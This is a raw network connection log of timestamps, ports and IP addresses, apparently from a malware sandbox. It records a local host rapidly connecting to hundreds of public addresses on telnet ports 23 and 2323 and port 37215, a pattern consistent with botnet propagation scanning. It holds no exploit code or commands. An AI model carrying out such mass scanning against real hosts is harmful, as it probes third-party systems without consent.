Nov 3, 2024 15:37:08.457793951 CET	23	36201	125.103.160.235	192.168.2.14
Nov 3, 2024 15:37:08.457803011 CET	40094	37215	192.168.2.14	156.91.171.80
Nov 3, 2024 15:37:08.457808971 CET	36201	23	192.168.2.14	182.215.1.119
Nov 3, 2024 15:37:08.457809925 CET	36201	23	192.168.2.14	213.195.110.88
Nov 3, 2024 15:37:08.457813978 CET	36201	23	192.168.2.14	180.135.228.70
Nov 3, 2024 15:37:08.457817078 CET	36201	23	192.168.2.14	216.86.72.247
Nov 3, 2024 15:37:08.457818985 CET	36201	23	192.168.2.14	125.103.160.235
Nov 3, 2024 15:37:08.457819939 CET	2323	36201	187.217.134.8	192.168.2.14
Nov 3, 2024 15:37:08.457828045 CET	36201	23	192.168.2.14	60.76.163.110
Nov 3, 2024 15:37:08.457828045 CET	48064	37215	192.168.2.14	41.218.80.154
Nov 3, 2024 15:37:08.457840919 CET	23	36201	63.51.136.200	192.168.2.14
Nov 3, 2024 15:37:08.457848072 CET	44796	37215	192.168.2.14	197.65.19.126
Nov 3, 2024 15:37:08.457850933 CET	23	36201	122.80.55.191	192.168.2.14
Nov 3, 2024 15:37:08.457850933 CET	36201	2323	192.168.2.14	187.217.134.8
Nov 3, 2024 15:37:08.457855940 CET	23	36201	89.236.9.189	192.168.2.14
Nov 3, 2024 15:37:08.457860947 CET	2323	36201	83.242.172.205	192.168.2.14
Nov 3, 2024 15:37:08.457865953 CET	23	36201	170.150.172.77	192.168.2.14
Nov 3, 2024 15:37:08.457865953 CET	46668	37215	192.168.2.14	197.74.114.107
Nov 3, 2024 15:37:08.457874060 CET	56664	37215	192.168.2.14	41.1.26.153
Nov 3, 2024 15:37:08.457875967 CET	23	36201	187.96.241.10	192.168.2.14
Nov 3, 2024 15:37:08.457885027 CET	23	36201	105.55.152.131	192.168.2.14
Nov 3, 2024 15:37:08.457891941 CET	37922	37215	192.168.2.14	197.106.166.153
Nov 3, 2024 15:37:08.457895041 CET	36201	23	192.168.2.14	122.80.55.191
Nov 3, 2024 15:37:08.457900047 CET	36201	23	192.168.2.14	187.96.241.10
Nov 3, 2024 15:37:08.457901955 CET	36201	2323	192.168.2.14	83.242.172.205
Nov 3, 2024 15:37:08.457902908 CET	23	36201	163.176.20.132	192.168.2.14
Nov 3, 2024 15:37:08.457906961 CET	55796	37215	192.168.2.14	41.158.151.80
Nov 3, 2024 15:37:08.457907915 CET	36201	23	192.168.2.14	63.51.136.200
Nov 3, 2024 15:37:08.457909107 CET	36201	23	192.168.2.14	89.236.9.189
Nov 3, 2024 15:37:08.457909107 CET	36201	23	192.168.2.14	170.150.172.77
Nov 3, 2024 15:37:08.457909107 CET	40346	37215	192.168.2.14	197.34.76.106
Nov 3, 2024 15:37:08.457912922 CET	23	36201	154.150.158.136	192.168.2.14
Nov 3, 2024 15:37:08.457921982 CET	36201	23	192.168.2.14	105.55.152.131
Nov 3, 2024 15:37:08.457923889 CET	23	36201	107.45.204.123	192.168.2.14
Nov 3, 2024 15:37:08.457928896 CET	36201	23	192.168.2.14	163.176.20.132
Nov 3, 2024 15:37:08.457936049 CET	23	36201	194.235.198.24	192.168.2.14
Nov 3, 2024 15:37:08.457938910 CET	35902	37215	192.168.2.14	156.21.7.201
Nov 3, 2024 15:37:08.457947016 CET	23	36201	160.255.212.157	192.168.2.14
Nov 3, 2024 15:37:08.457947969 CET	36201	23	192.168.2.14	154.150.158.136
Nov 3, 2024 15:37:08.457951069 CET	39672	37215	192.168.2.14	156.175.54.142
Nov 3, 2024 15:37:08.457951069 CET	23	36201	35.64.207.94	192.168.2.14
Nov 3, 2024 15:37:08.457958937 CET	36201	23	192.168.2.14	107.45.204.123
Nov 3, 2024 15:37:08.457961082 CET	23	36201	93.183.58.254	192.168.2.14
Nov 3, 2024 15:37:08.457969904 CET	23	36201	178.210.116.232	192.168.2.14
Nov 3, 2024 15:37:08.457972050 CET	36656	37215	192.168.2.14	197.147.132.168
Nov 3, 2024 15:37:08.457972050 CET	36201	23	192.168.2.14	160.255.212.157
Nov 3, 2024 15:37:08.457979918 CET	36201	23	192.168.2.14	35.64.207.94
Nov 3, 2024 15:37:08.457982063 CET	36201	23	192.168.2.14	194.235.198.24
Nov 3, 2024 15:37:08.457986116 CET	23	36201	174.232.255.245	192.168.2.14
Nov 3, 2024 15:37:08.457988977 CET	36201	23	192.168.2.14	93.183.58.254
Nov 3, 2024 15:37:08.457994938 CET	36878	37215	192.168.2.14	197.31.149.169
Nov 3, 2024 15:37:08.457995892 CET	23	36201	164.25.189.129	192.168.2.14
Nov 3, 2024 15:37:08.457999945 CET	36201	23	192.168.2.14	178.210.116.232
Nov 3, 2024 15:37:08.458007097 CET	2323	36201	94.179.21.111	192.168.2.14
Nov 3, 2024 15:37:08.458014011 CET	36201	23	192.168.2.14	174.232.255.245
Nov 3, 2024 15:37:08.458015919 CET	23	36201	42.59.103.31	192.168.2.14
Nov 3, 2024 15:37:08.458018064 CET	33060	37215	192.168.2.14	41.233.248.58
Nov 3, 2024 15:37:08.458018064 CET	34226	37215	192.168.2.14	41.191.196.11
Nov 3, 2024 15:37:08.458025932 CET	23	36201	158.28.112.231	192.168.2.14
Nov 3, 2024 15:37:08.458031893 CET	36201	2323	192.168.2.14	94.179.21.111
Nov 3, 2024 15:37:08.458034039 CET	36201	23	192.168.2.14	164.25.189.129
Nov 3, 2024 15:37:08.458034039 CET	53508	37215	192.168.2.14	156.108.194.67
Nov 3, 2024 15:37:08.458036900 CET	23	36201	61.129.108.39	192.168.2.14
Nov 3, 2024 15:37:08.458039999 CET	36201	23	192.168.2.14	42.59.103.31
Nov 3, 2024 15:37:08.458045959 CET	37750	37215	192.168.2.14	41.204.27.199
Nov 3, 2024 15:37:08.458054066 CET	23	36201	65.176.59.224	192.168.2.14
Nov 3, 2024 15:37:08.458061934 CET	23	36201	158.219.206.250	192.168.2.14
Nov 3, 2024 15:37:08.458065987 CET	36201	23	192.168.2.14	158.28.112.231
Nov 3, 2024 15:37:08.458066940 CET	33438	37215	192.168.2.14	41.127.161.90
Nov 3, 2024 15:37:08.458066940 CET	36201	23	192.168.2.14	61.129.108.39
Nov 3, 2024 15:37:08.458070993 CET	2323	36201	89.157.131.233	192.168.2.14
Nov 3, 2024 15:37:08.458084106 CET	23	36201	43.202.219.215	192.168.2.14
Nov 3, 2024 15:37:08.458093882 CET	57540	37215	192.168.2.14	156.130.214.19
Nov 3, 2024 15:37:08.458093882 CET	56340	37215	192.168.2.14	197.183.22.28
Nov 3, 2024 15:37:08.458093882 CET	36201	23	192.168.2.14	158.219.206.250
Nov 3, 2024 15:37:08.458093882 CET	36201	23	192.168.2.14	65.176.59.224
Nov 3, 2024 15:37:08.458093882 CET	49890	37215	192.168.2.14	197.254.17.218
Nov 3, 2024 15:37:08.458101988 CET	36201	2323	192.168.2.14	89.157.131.233
Nov 3, 2024 15:37:08.458110094 CET	23	36201	40.169.93.252	192.168.2.14
Nov 3, 2024 15:37:08.458110094 CET	59588	37215	192.168.2.14	41.179.185.245
Nov 3, 2024 15:37:08.458113909 CET	50894	37215	192.168.2.14	197.213.145.152
Nov 3, 2024 15:37:08.458129883 CET	36201	23	192.168.2.14	43.202.219.215
Nov 3, 2024 15:37:08.458133936 CET	54774	37215	192.168.2.14	156.103.148.132
Nov 3, 2024 15:37:08.458137035 CET	40444	37215	192.168.2.14	41.210.242.120
Nov 3, 2024 15:37:08.458139896 CET	36201	23	192.168.2.14	40.169.93.252
Nov 3, 2024 15:37:08.458159924 CET	33116	37215	192.168.2.14	197.108.23.217
Nov 3, 2024 15:37:08.458163977 CET	37294	37215	192.168.2.14	156.1.250.39
Nov 3, 2024 15:37:08.458163977 CET	39056	37215	192.168.2.14	156.135.37.168
Nov 3, 2024 15:37:08.458187103 CET	43864	37215	192.168.2.14	197.204.14.128
Nov 3, 2024 15:37:08.458199978 CET	48942	37215	192.168.2.14	41.22.109.55
Nov 3, 2024 15:37:08.458218098 CET	55748	37215	192.168.2.14	156.10.11.88
Nov 3, 2024 15:37:08.458226919 CET	49530	37215	192.168.2.14	197.156.27.154
Nov 3, 2024 15:37:08.458239079 CET	49152	37215	192.168.2.14	197.226.142.141
Nov 3, 2024 15:37:08.458249092 CET	40250	37215	192.168.2.14	156.3.134.146
Nov 3, 2024 15:37:08.458256006 CET	41994	37215	192.168.2.14	156.5.106.240
Nov 3, 2024 15:37:08.458276033 CET	38342	37215	192.168.2.14	41.236.104.122
Nov 3, 2024 15:37:08.458276987 CET	56962	37215	192.168.2.14	156.32.248.140
Nov 3, 2024 15:37:08.458278894 CET	40870	37215	192.168.2.14	41.115.20.24
Nov 3, 2024 15:37:08.458292961 CET	54772	37215	192.168.2.14	41.166.36.238
Nov 3, 2024 15:37:08.458301067 CET	45430	37215	192.168.2.14	41.219.228.84
Nov 3, 2024 15:37:08.458317041 CET	23	36201	178.183.34.155	192.168.2.14
Nov 3, 2024 15:37:08.458321095 CET	33002	37215	192.168.2.14	197.137.102.189
Nov 3, 2024 15:37:08.458321095 CET	51742	37215	192.168.2.14	41.127.70.140
Nov 3, 2024 15:37:08.458321095 CET	49030	37215	192.168.2.14	156.197.2.99
Nov 3, 2024 15:37:08.458327055 CET	23	36201	122.95.112.177	192.168.2.14
Nov 3, 2024 15:37:08.458334923 CET	49574	37215	192.168.2.14	41.53.63.239
Nov 3, 2024 15:37:08.458340883 CET	49364	37215	192.168.2.14	197.211.76.111
Nov 3, 2024 15:37:08.458344936 CET	23	36201	61.247.76.230	192.168.2.14
Nov 3, 2024 15:37:08.458353043 CET	36201	23	192.168.2.14	178.183.34.155
Nov 3, 2024 15:37:08.458358049 CET	36201	23	192.168.2.14	122.95.112.177
Nov 3, 2024 15:37:08.458364964 CET	47600	37215	192.168.2.14	41.37.247.136
Nov 3, 2024 15:37:08.458374023 CET	52250	37215	192.168.2.14	197.4.6.115
Nov 3, 2024 15:37:08.458381891 CET	36201	23	192.168.2.14	61.247.76.230
Nov 3, 2024 15:37:08.458381891 CET	45744	37215	192.168.2.14	41.120.114.208
Nov 3, 2024 15:37:08.458391905 CET	47282	37215	192.168.2.14	156.66.38.190
Nov 3, 2024 15:37:08.458405018 CET	49060	37215	192.168.2.14	41.104.189.119
Nov 3, 2024 15:37:08.458414078 CET	33818	37215	192.168.2.14	41.208.203.43
Nov 3, 2024 15:37:08.458420038 CET	49894	37215	192.168.2.14	197.3.79.206
Nov 3, 2024 15:37:08.458432913 CET	52260	37215	192.168.2.14	197.170.70.85
Nov 3, 2024 15:37:08.458447933 CET	58138	37215	192.168.2.14	156.56.65.215
Nov 3, 2024 15:37:08.458450079 CET	41604	37215	192.168.2.14	156.221.255.137
Nov 3, 2024 15:37:08.458455086 CET	2323	57956	184.146.6.31	192.168.2.14
Nov 3, 2024 15:37:08.458463907 CET	57902	37215	192.168.2.14	41.95.41.83
Nov 3, 2024 15:37:08.458471060 CET	23	36201	36.3.150.242	192.168.2.14
Nov 3, 2024 15:37:08.458476067 CET	57990	37215	192.168.2.14	156.68.52.194
Nov 3, 2024 15:37:08.458481073 CET	23	36201	204.151.5.197	192.168.2.14
Nov 3, 2024 15:37:08.458491087 CET	2323	36201	48.250.231.90	192.168.2.14
Nov 3, 2024 15:37:08.458499908 CET	23	36201	183.80.27.55	192.168.2.14
Nov 3, 2024 15:37:08.458509922 CET	23	36201	213.193.238.119	192.168.2.14
Nov 3, 2024 15:37:08.458518982 CET	57956	2323	192.168.2.14	184.146.6.31
Nov 3, 2024 15:37:08.458518982 CET	36201	23	192.168.2.14	36.3.150.242
Nov 3, 2024 15:37:08.458518982 CET	36201	2323	192.168.2.14	48.250.231.90
Nov 3, 2024 15:37:08.458520889 CET	36201	23	192.168.2.14	204.151.5.197
Nov 3, 2024 15:37:08.458535910 CET	2323	36201	221.127.72.70	192.168.2.14
Nov 3, 2024 15:37:08.458538055 CET	36201	23	192.168.2.14	183.80.27.55
Nov 3, 2024 15:37:08.458539963 CET	36201	23	192.168.2.14	213.193.238.119
Nov 3, 2024 15:37:08.458547115 CET	23	36201	89.62.175.99	192.168.2.14
Nov 3, 2024 15:37:08.458555937 CET	23	58602	151.114.53.151	192.168.2.14
Nov 3, 2024 15:37:08.458565950 CET	23	36201	78.152.153.58	192.168.2.14
Nov 3, 2024 15:37:08.458571911 CET	36201	2323	192.168.2.14	221.127.72.70
Nov 3, 2024 15:37:08.458571911 CET	36201	23	192.168.2.14	89.62.175.99
Nov 3, 2024 15:37:08.458574057 CET	23	36201	146.228.213.119	192.168.2.14
Nov 3, 2024 15:37:08.458585024 CET	23	36201	74.167.77.107	192.168.2.14
Nov 3, 2024 15:37:08.458594084 CET	23	47676	181.52.98.68	192.168.2.14
Nov 3, 2024 15:37:08.458604097 CET	23	36201	181.93.213.141	192.168.2.14
Nov 3, 2024 15:37:08.458605051 CET	36201	23	192.168.2.14	146.228.213.119
Nov 3, 2024 15:37:08.458614111 CET	58602	23	192.168.2.14	151.114.53.151
Nov 3, 2024 15:37:08.458614111 CET	23	36201	2.227.237.15	192.168.2.14
Nov 3, 2024 15:37:08.458620071 CET	36201	23	192.168.2.14	78.152.153.58
Nov 3, 2024 15:37:08.458621979 CET	36201	23	192.168.2.14	74.167.77.107
Nov 3, 2024 15:37:08.458627939 CET	23	36201	151.141.81.160	192.168.2.14
Nov 3, 2024 15:37:08.458627939 CET	36201	23	192.168.2.14	181.93.213.141
Nov 3, 2024 15:37:08.458632946 CET	23	36201	105.22.38.54	192.168.2.14
Nov 3, 2024 15:37:08.458632946 CET	47676	23	192.168.2.14	181.52.98.68
Nov 3, 2024 15:37:08.458636999 CET	23	36201	118.248.207.116	192.168.2.14
Nov 3, 2024 15:37:08.458648920 CET	2323	36201	4.86.39.78	192.168.2.14
Nov 3, 2024 15:37:08.458652973 CET	23	36201	77.34.170.64	192.168.2.14
Nov 3, 2024 15:37:08.458661079 CET	23	36201	142.189.73.50	192.168.2.14
Nov 3, 2024 15:37:08.458663940 CET	42620	37215	192.168.2.14	41.217.7.145
Nov 3, 2024 15:37:08.458666086 CET	23	36201	99.42.23.32	192.168.2.14
Nov 3, 2024 15:37:08.458671093 CET	23	36201	116.17.165.243	192.168.2.14
Nov 3, 2024 15:37:08.458671093 CET	49242	37215	192.168.2.14	41.12.251.234
Nov 3, 2024 15:37:08.458676100 CET	36201	23	192.168.2.14	151.141.81.160
Nov 3, 2024 15:37:08.458678961 CET	36201	23	192.168.2.14	2.227.237.15
Nov 3, 2024 15:37:08.458678961 CET	36201	23	192.168.2.14	105.22.38.54
Nov 3, 2024 15:37:08.458678961 CET	23	36201	31.120.68.161	192.168.2.14
Nov 3, 2024 15:37:08.458682060 CET	36201	2323	192.168.2.14	4.86.39.78
Nov 3, 2024 15:37:08.458686113 CET	36201	23	192.168.2.14	77.34.170.64
Nov 3, 2024 15:37:08.458693027 CET	36201	23	192.168.2.14	142.189.73.50
Nov 3, 2024 15:37:08.458693027 CET	36201	23	192.168.2.14	116.17.165.243
Nov 3, 2024 15:37:08.458694935 CET	36201	23	192.168.2.14	118.248.207.116
Nov 3, 2024 15:37:08.458694935 CET	36201	23	192.168.2.14	99.42.23.32
Nov 3, 2024 15:37:08.458713055 CET	36201	23	192.168.2.14	31.120.68.161
Nov 3, 2024 15:37:08.458724022 CET	56926	37215	192.168.2.14	197.27.247.143
Nov 3, 2024 15:37:08.458733082 CET	39812	37215	192.168.2.14	197.7.160.38
Nov 3, 2024 15:37:08.458735943 CET	55646	37215	192.168.2.14	156.45.242.111
Nov 3, 2024 15:37:08.458753109 CET	32860	37215	192.168.2.14	41.106.89.174
Nov 3, 2024 15:37:08.458753109 CET	53594	37215	192.168.2.14	156.243.181.34
Nov 3, 2024 15:37:08.458767891 CET	56660	37215	192.168.2.14	156.156.70.75
Nov 3, 2024 15:37:08.458775997 CET	43330	37215	192.168.2.14	156.205.29.107
Nov 3, 2024 15:37:08.458791018 CET	37242	37215	192.168.2.14	41.28.107.158
Nov 3, 2024 15:37:08.458802938 CET	58762	37215	192.168.2.14	156.178.4.247
Nov 3, 2024 15:37:08.458805084 CET	46172	37215	192.168.2.14	41.227.68.72
Nov 3, 2024 15:37:08.458825111 CET	55750	37215	192.168.2.14	156.157.41.72
Nov 3, 2024 15:37:08.458832979 CET	55592	37215	192.168.2.14	41.215.234.93
Nov 3, 2024 15:37:08.458842039 CET	55998	37215	192.168.2.14	156.74.107.240
Nov 3, 2024 15:37:08.458843946 CET	60094	37215	192.168.2.14	156.236.57.150
Nov 3, 2024 15:37:08.458868027 CET	45948	37215	192.168.2.14	156.122.194.113
Nov 3, 2024 15:37:08.458879948 CET	41016	37215	192.168.2.14	41.226.57.61
Nov 3, 2024 15:37:08.458883047 CET	41288	37215	192.168.2.14	197.172.150.90
Nov 3, 2024 15:37:08.458888054 CET	39066	37215	192.168.2.14	41.163.33.184
Nov 3, 2024 15:37:08.458894968 CET	23	44362	160.89.255.184	192.168.2.14
Nov 3, 2024 15:37:08.458904982 CET	23	36201	220.206.159.126	192.168.2.14
Nov 3, 2024 15:37:08.458905935 CET	35682	37215	192.168.2.14	156.225.156.99
Nov 3, 2024 15:37:08.458905935 CET	33066	37215	192.168.2.14	41.197.53.234
Nov 3, 2024 15:37:08.458914995 CET	23	36201	213.105.201.200	192.168.2.14
Nov 3, 2024 15:37:08.458918095 CET	33532	37215	192.168.2.14	156.78.250.236
Nov 3, 2024 15:37:08.458924055 CET	23	36201	151.154.113.120	192.168.2.14
Nov 3, 2024 15:37:08.458925962 CET	33454	37215	192.168.2.14	41.20.124.70
Nov 3, 2024 15:37:08.458937883 CET	60998	37215	192.168.2.14	41.31.230.34
Nov 3, 2024 15:37:08.458949089 CET	36201	23	192.168.2.14	213.105.201.200
Nov 3, 2024 15:37:08.458959103 CET	36201	23	192.168.2.14	220.206.159.126
Nov 3, 2024 15:37:08.458960056 CET	44362	23	192.168.2.14	160.89.255.184
Nov 3, 2024 15:37:08.458971024 CET	36201	23	192.168.2.14	151.154.113.120
Nov 3, 2024 15:37:08.458995104 CET	58866	37215	192.168.2.14	197.117.220.43
Nov 3, 2024 15:37:08.459007978 CET	49032	37215	192.168.2.14	156.111.125.131
Nov 3, 2024 15:37:08.459008932 CET	42908	37215	192.168.2.14	41.61.175.218
Nov 3, 2024 15:37:08.459028006 CET	38642	37215	192.168.2.14	156.246.61.185
Nov 3, 2024 15:37:08.459034920 CET	52942	37215	192.168.2.14	156.147.112.122
Nov 3, 2024 15:37:08.459037066 CET	23	36201	173.171.112.54	192.168.2.14
Nov 3, 2024 15:37:08.459049940 CET	23	36201	72.175.152.179	192.168.2.14
Nov 3, 2024 15:37:08.459054947 CET	60640	37215	192.168.2.14	197.140.71.172
Nov 3, 2024 15:37:08.459060907 CET	47612	37215	192.168.2.14	197.221.66.71
Nov 3, 2024 15:37:08.459064007 CET	23	36201	108.241.126.233	192.168.2.14
Nov 3, 2024 15:37:08.459070921 CET	35456	37215	192.168.2.14	197.176.255.237
Nov 3, 2024 15:37:08.459074020 CET	2323	36201	75.150.181.148	192.168.2.14
Nov 3, 2024 15:37:08.459079981 CET	36201	23	192.168.2.14	173.171.112.54
Nov 3, 2024 15:37:08.459083080 CET	36201	23	192.168.2.14	72.175.152.179
Nov 3, 2024 15:37:08.459083080 CET	23	36201	84.159.114.234	192.168.2.14
Nov 3, 2024 15:37:08.459091902 CET	36201	23	192.168.2.14	108.241.126.233
Nov 3, 2024 15:37:08.459094048 CET	23	36201	19.199.76.214	192.168.2.14
Nov 3, 2024 15:37:08.459095001 CET	47940	37215	192.168.2.14	156.246.166.190
Nov 3, 2024 15:37:08.459100008 CET	36201	2323	192.168.2.14	75.150.181.148
Nov 3, 2024 15:37:08.459104061 CET	23	56202	205.217.233.80	192.168.2.14
Nov 3, 2024 15:37:08.459114075 CET	23	36201	161.1.233.190	192.168.2.14
Nov 3, 2024 15:37:08.459115028 CET	42430	37215	192.168.2.14	197.241.168.45
Nov 3, 2024 15:37:08.459115028 CET	36201	23	192.168.2.14	84.159.114.234
Nov 3, 2024 15:37:08.459119081 CET	36201	23	192.168.2.14	19.199.76.214
Nov 3, 2024 15:37:08.459132910 CET	56202	23	192.168.2.14	205.217.233.80
Nov 3, 2024 15:37:08.459136009 CET	23	36201	101.191.226.88	192.168.2.14
Nov 3, 2024 15:37:08.459157944 CET	23	33990	158.34.240.117	192.168.2.14
Nov 3, 2024 15:37:08.459160089 CET	36201	23	192.168.2.14	161.1.233.190
Nov 3, 2024 15:37:08.459167957 CET	23	36201	83.55.127.80	192.168.2.14
Nov 3, 2024 15:37:08.459172964 CET	23	36201	91.217.59.175	192.168.2.14
Nov 3, 2024 15:37:08.459177017 CET	36201	23	192.168.2.14	101.191.226.88
Nov 3, 2024 15:37:08.459177017 CET	2323	36201	90.74.165.178	192.168.2.14
Nov 3, 2024 15:37:08.459177017 CET	45022	37215	192.168.2.14	156.21.107.185
Nov 3, 2024 15:37:08.459182024 CET	59452	37215	192.168.2.14	41.158.29.151
Nov 3, 2024 15:37:08.459191084 CET	23	36201	77.111.235.119	192.168.2.14
Nov 3, 2024 15:37:08.459193945 CET	33424	37215	192.168.2.14	156.93.99.76
Nov 3, 2024 15:37:08.459201097 CET	23	36201	220.70.117.204	192.168.2.14
Nov 3, 2024 15:37:08.459208012 CET	33990	23	192.168.2.14	158.34.240.117
Nov 3, 2024 15:37:08.459211111 CET	23	36201	94.68.223.185	192.168.2.14
Nov 3, 2024 15:37:08.459213018 CET	36201	23	192.168.2.14	91.217.59.175
Nov 3, 2024 15:37:08.459216118 CET	36201	23	192.168.2.14	83.55.127.80
Nov 3, 2024 15:37:08.459216118 CET	36201	2323	192.168.2.14	90.74.165.178
Nov 3, 2024 15:37:08.459219933 CET	23	36201	123.125.28.252	192.168.2.14
Nov 3, 2024 15:37:08.459223032 CET	36201	23	192.168.2.14	77.111.235.119
Nov 3, 2024 15:37:08.459229946 CET	23	36201	202.120.82.225	192.168.2.14
Nov 3, 2024 15:37:08.459230900 CET	36201	23	192.168.2.14	220.70.117.204
Nov 3, 2024 15:37:08.459240913 CET	23	36201	108.150.232.220	192.168.2.14
Nov 3, 2024 15:37:08.459242105 CET	36201	23	192.168.2.14	94.68.223.185
Nov 3, 2024 15:37:08.459250927 CET	23	36201	162.115.254.237	192.168.2.14
Nov 3, 2024 15:37:08.459255934 CET	23	34030	179.64.170.171	192.168.2.14
Nov 3, 2024 15:37:08.459256887 CET	36201	23	192.168.2.14	123.125.28.252
Nov 3, 2024 15:37:08.459261894 CET	35842	37215	192.168.2.14	156.83.90.144
Nov 3, 2024 15:37:08.459263086 CET	36201	23	192.168.2.14	202.120.82.225
Nov 3, 2024 15:37:08.459264994 CET	23	36201	117.161.70.63	192.168.2.14
Nov 3, 2024 15:37:08.459274054 CET	36201	23	192.168.2.14	108.150.232.220
Nov 3, 2024 15:37:08.459276915 CET	36201	23	192.168.2.14	162.115.254.237
Nov 3, 2024 15:37:08.459276915 CET	55124	37215	192.168.2.14	197.252.145.215
Nov 3, 2024 15:37:08.459276915 CET	23	43712	107.119.15.67	192.168.2.14
Nov 3, 2024 15:37:08.459280968 CET	54356	37215	192.168.2.14	41.163.133.62
Nov 3, 2024 15:37:08.459285021 CET	34030	23	192.168.2.14	179.64.170.171
Nov 3, 2024 15:37:08.459297895 CET	36201	23	192.168.2.14	117.161.70.63
Nov 3, 2024 15:37:08.459319115 CET	43712	23	192.168.2.14	107.119.15.67
Nov 3, 2024 15:37:08.459333897 CET	47400	37215	192.168.2.14	41.253.117.242
Nov 3, 2024 15:37:08.459350109 CET	44094	37215	192.168.2.14	41.150.8.227
Nov 3, 2024 15:37:08.459359884 CET	38298	37215	192.168.2.14	197.243.10.148
Nov 3, 2024 15:37:08.459371090 CET	46434	37215	192.168.2.14	41.154.200.186
Nov 3, 2024 15:37:08.459378004 CET	54432	37215	192.168.2.14	156.246.219.40
Nov 3, 2024 15:37:08.459384918 CET	42642	37215	192.168.2.14	156.224.87.198
Nov 3, 2024 15:37:08.459403992 CET	47172	37215	192.168.2.14	41.194.161.217
Nov 3, 2024 15:37:08.459412098 CET	54204	37215	192.168.2.14	41.100.58.25
Nov 3, 2024 15:37:08.459424973 CET	52630	37215	192.168.2.14	41.91.188.230
Nov 3, 2024 15:37:08.459434032 CET	50710	37215	192.168.2.14	197.251.254.108
Nov 3, 2024 15:37:08.459444046 CET	35662	37215	192.168.2.14	197.19.217.137
Nov 3, 2024 15:37:08.459450960 CET	59920	37215	192.168.2.14	156.93.27.183
Nov 3, 2024 15:37:08.459466934 CET	42406	37215	192.168.2.14	41.178.227.250
Nov 3, 2024 15:37:08.459477901 CET	45568	37215	192.168.2.14	197.187.1.98
Nov 3, 2024 15:37:08.459479094 CET	40798	37215	192.168.2.14	41.18.15.227
Nov 3, 2024 15:37:08.459491968 CET	52618	37215	192.168.2.14	197.81.39.24
Nov 3, 2024 15:37:08.459494114 CET	23	38058	5.71.100.114	192.168.2.14
Nov 3, 2024 15:37:08.459500074 CET	43714	37215	192.168.2.14	156.225.171.173
Nov 3, 2024 15:37:08.459515095 CET	57658	37215	192.168.2.14	156.29.35.98
Nov 3, 2024 15:37:08.459523916 CET	38058	23	192.168.2.14	5.71.100.114
Nov 3, 2024 15:37:08.459563017 CET	33714	37215	192.168.2.14	197.201.134.233
Nov 3, 2024 15:37:08.459568024 CET	49288	37215	192.168.2.14	156.187.67.11
Nov 3, 2024 15:37:08.459575891 CET	43110	37215	192.168.2.14	41.22.164.49
Nov 3, 2024 15:37:08.459580898 CET	34004	37215	192.168.2.14	156.141.170.57
Nov 3, 2024 15:37:08.459598064 CET	46518	37215	192.168.2.14	41.47.138.63
Nov 3, 2024 15:37:08.459599972 CET	47472	37215	192.168.2.14	156.47.73.123
Nov 3, 2024 15:37:08.459611893 CET	23	36201	168.18.58.218	192.168.2.14
Nov 3, 2024 15:37:08.459618092 CET	36684	37215	192.168.2.14	197.53.18.10
Nov 3, 2024 15:37:08.459620953 CET	40958	37215	192.168.2.14	156.129.68.42
Nov 3, 2024 15:37:08.459629059 CET	2323	36420	1.12.84.67	192.168.2.14
Nov 3, 2024 15:37:08.459639072 CET	23	36201	48.238.195.77	192.168.2.14
Nov 3, 2024 15:37:08.459640980 CET	36866	37215	192.168.2.14	197.91.20.246
Nov 3, 2024 15:37:08.459645033 CET	36201	23	192.168.2.14	168.18.58.218
Nov 3, 2024 15:37:08.459650040 CET	23	58472	14.65.113.88	192.168.2.14
Nov 3, 2024 15:37:08.459655046 CET	23	36201	32.206.16.20	192.168.2.14
Nov 3, 2024 15:37:08.459656000 CET	53832	37215	192.168.2.14	156.76.218.78
Nov 3, 2024 15:37:08.459665060 CET	2323	36201	78.224.64.205	192.168.2.14
Nov 3, 2024 15:37:08.459667921 CET	59982	37215	192.168.2.14	41.9.116.67
Nov 3, 2024 15:37:08.459671974 CET	36420	2323	192.168.2.14	1.12.84.67
Nov 3, 2024 15:37:08.459672928 CET	47240	37215	192.168.2.14	156.184.33.107
Nov 3, 2024 15:37:08.459680080 CET	36201	23	192.168.2.14	48.238.195.77
Nov 3, 2024 15:37:08.459680080 CET	36201	23	192.168.2.14	32.206.16.20
Nov 3, 2024 15:37:08.459681034 CET	23	36201	189.50.156.35	192.168.2.14
Nov 3, 2024 15:37:08.459690094 CET	36201	2323	192.168.2.14	78.224.64.205
Nov 3, 2024 15:37:08.459691048 CET	23	36201	101.82.243.7	192.168.2.14
Nov 3, 2024 15:37:08.459692001 CET	58472	23	192.168.2.14	14.65.113.88
Nov 3, 2024 15:37:08.459702015 CET	23	36201	65.3.178.217	192.168.2.14
Nov 3, 2024 15:37:08.459712029 CET	23	36201	112.250.69.75	192.168.2.14
Nov 3, 2024 15:37:08.459713936 CET	36201	23	192.168.2.14	189.50.156.35
Nov 3, 2024 15:37:08.459713936 CET	36201	23	192.168.2.14	101.82.243.7
Nov 3, 2024 15:37:08.459722996 CET	23	43344	142.128.214.133	192.168.2.14
Nov 3, 2024 15:37:08.459733009 CET	23	36201	91.221.171.240	192.168.2.14
Nov 3, 2024 15:37:08.459738970 CET	36201	23	192.168.2.14	65.3.178.217
Nov 3, 2024 15:37:08.459738970 CET	36201	23	192.168.2.14	112.250.69.75
Nov 3, 2024 15:37:08.459742069 CET	23	36201	43.106.152.250	192.168.2.14
Nov 3, 2024 15:37:08.459748983 CET	23	33962	211.143.98.145	192.168.2.14
Nov 3, 2024 15:37:08.459758043 CET	23	36201	62.187.118.119	192.168.2.14
Nov 3, 2024 15:37:08.459763050 CET	36201	23	192.168.2.14	91.221.171.240
Nov 3, 2024 15:37:08.459764957 CET	43344	23	192.168.2.14	142.128.214.133
Nov 3, 2024 15:37:08.459767103 CET	36201	23	192.168.2.14	43.106.152.250
Nov 3, 2024 15:37:08.459768057 CET	23	43916	159.37.133.208	192.168.2.14
Nov 3, 2024 15:37:08.459778070 CET	23	47090	114.132.2.196	192.168.2.14
Nov 3, 2024 15:37:08.459786892 CET	36201	23	192.168.2.14	62.187.118.119
Nov 3, 2024 15:37:08.459786892 CET	23	53374	18.29.13.143	192.168.2.14
Nov 3, 2024 15:37:08.459791899 CET	33962	23	192.168.2.14	211.143.98.145
Nov 3, 2024 15:37:08.459794998 CET	58278	37215	192.168.2.14	41.22.80.120
Nov 3, 2024 15:37:08.459798098 CET	23	36201	204.59.29.58	192.168.2.14
Nov 3, 2024 15:37:08.459801912 CET	23	52566	126.33.229.198	192.168.2.14
Nov 3, 2024 15:37:08.459805965 CET	23	36201	176.99.128.140	192.168.2.14
Nov 3, 2024 15:37:08.459809065 CET	23	56184	158.253.61.118	192.168.2.14
Nov 3, 2024 15:37:08.459810972 CET	43916	23	192.168.2.14	159.37.133.208
